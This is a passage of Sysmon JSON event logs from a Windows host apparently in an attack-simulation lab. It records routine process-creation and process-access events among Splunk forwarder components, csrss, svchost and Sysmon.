C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.135","SourceProcessGUID":"{90617006-40C2-5F2D-0000-001099AF0500}","SourceProcessId":"4912","SourceThreadId":"3908","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.698\r\nProcessGuid: {90617006-40C3-5F2D-0000-001061B10500}\r\nProcessId: 3984\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.698","ProcessGuid":"{90617006-40C3-5F2D-0000-001061B10500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C3-5F2D-0000-001061B10500}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C3-5F2D-0000-001061B10500}","TargetProcessId":"3984","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C3-5F2D-0000-001061B10500}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C3-5F2D-0000-001061B10500}","TargetProcessId":"3984","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 